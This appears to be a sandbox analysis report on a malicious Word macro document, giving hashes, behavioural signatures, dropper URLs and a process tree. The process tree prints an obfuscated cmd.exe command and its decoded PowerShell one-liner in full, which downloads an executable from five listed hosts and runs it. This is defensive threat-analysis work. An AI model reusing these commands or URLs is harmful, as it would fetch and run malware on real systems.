Overview

overview

10

Static

static

8

0cd2dc8f50...18.doc

windows7-x64

10

0cd2dc8f50...18.doc

windows10-2004-x64

10

Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240215-en
  • resource tags

    arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
  • submitted
    01-05-2024 20:55

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    0cd2dc8f5077f4bbf3b937793970fa25_JaffaCakes118.doc

  • Size

    76KB

  • MD5

    0cd2dc8f5077f4bbf3b937793970fa25

  • SHA1

    cd23e7cf92c31d0d61b717e3aa520f696e3a031d

  • SHA256

    0ee992c47ce36bb0ec5f69e73c1503daac08270193ffa3a8bfbcd9efccd903c5

  • SHA512

    cca2600b1dcc91903695d49d8914581604e15c18e043dbd95a3573593cae8412aa41fdb5d7e739f0de73d1cd3e59b80e8bdc0f6f0a158bb2786199d185212586

  • SSDEEP

    1536:zptJlmrJpmxlRw99NBF+a//zUmUmUlo/gGbc2+:9te2dw99fluNQc

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://bigsenindonesia.com/kYQ9UR0
exe.dropper

http://hotelnoraipro.com/iw0
exe.dropper

http://4theweb.co.uk/wwvvv/w3b
exe.dropper

http://andrewmiller.com.au/YJ7ro
exe.dropper

http://91.151.190.122/osticket/C1A9

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0cd2dc8f5077f4bbf3b937793970fa25_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2916
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2536
      • C:\Windows\SysWOW64\cmd.exe
        cmd /V^:^O/C"s^e^t rn=^ ^ ^ ^ ^ ^ ^ }}^{^hctac}^;k^a^erb;Mp^L$ m^et^I^-ek^ovnI;)M^p^L$^ ^,WhX$(eliFd^a^olnwo^D^.qnv${yrt^{)V^W^W^$^ n^i^ ^W^h^X^$(hcaerof;'^exe^.'+^wMO$^+^'\^'^+c^i^l^b^up:vn^e^$^=^M^pL^$;^'3^9^1^' ^= w^MO$^;)'^@'(t^i^l^p^S.'^9A^1C/^tekcitso/22^1^.^0^9^1^.^151^.^19//^:pt^t^h^@^or7^J^Y/u^a^.m^oc^.rel^l^imw^er^dn^a//^:ptt^h@b^3^w/vvvww/^k^u^.^oc^.^b^ew^e^ht^4//:^p^tth^@^0w^i/^m^oc^.orpi^aronleto^h//:^p^tt^h@^0RU9^QY^k/^moc^.^ai^senodnin^esg^i^b//:pt^th'^=VWW^$;tn^e^i^lC^b^e^W^.^t^eN^ tc^e^j^b^o^-^w^en^=^qnv^$^ ^l^lehsr^ew^op&&^f^or /^L %^H ^in (37^3,^-1^,0)^d^o s^e^t ^0^3^i=!^0^3^i!!rn:~%^H,1!&&i^f %^H ^ls^s ^1 c^al^l %^0^3^i:^~-3^74%"
        2⤵
        • Process spawned unexpected child process
        • An obfuscated cmd.exe command-line is typically used to evade detection.
        • Suspicious use of WriteProcessMemory
        PID:2632
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell $vnq=new-object Net.WebClient;$WWV='http://bigsenindonesia.com/kYQ9UR0@http://hotelnoraipro.com/iw0@http://4theweb.co.uk/wwvvv/w3b@http://andrewmiller.com.au/YJ7ro@http://91.151.190.122/osticket/C1A9'.Split('@');$OMw = '193';$LpM=$env:public+'\'+$OMw+'.exe';foreach($XhW in $WWV){try{$vnq.DownloadFile($XhW, $LpM);Invoke-Item $LpM;break;}catch{}}
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2900

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
      Filesize

      20KB

      MD5

      2c0eb2394363b0fee0598ad35cd53653

      SHA1

      66aaec01550349e0e53c2c81d52cbe0414f668c2

      SHA256

      e4229ee82a691313f2c73b9b72e229e2450de03e945194f0585dc36c429afd26

      SHA512

      c25dd99799b53e587f348f08476fd8ed41437b77f6097441220469282d8f396f4131b585bf3e0a1cfc2c3d00b31160b9b12c0c9e063de32c420b87ceb3e7553b

      Download Submit

    • memory/2916-0-0x000000002F161000-0x000000002F162000-memory.dmp

      Filesize

      4KB

      Download

    • memory/2916-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2916-2-0x000000007151D000-0x0000000071528000-memory.dmp

      Filesize

      44KB

      Download

    • memory/2916-21-0x00000000056F0000-0x00000000057F0000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2916-22-0x00000000056F0000-0x00000000057F0000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2916-29-0x000000007151D000-0x0000000071528000-memory.dmp

      Filesize

      44KB

      Download

    • memory/2916-30-0x00000000056F0000-0x00000000057F0000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2916-46-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2916-47-0x000000007151D000-0x0000000071528000-memory.dmp

      Filesize

      44KB

      Download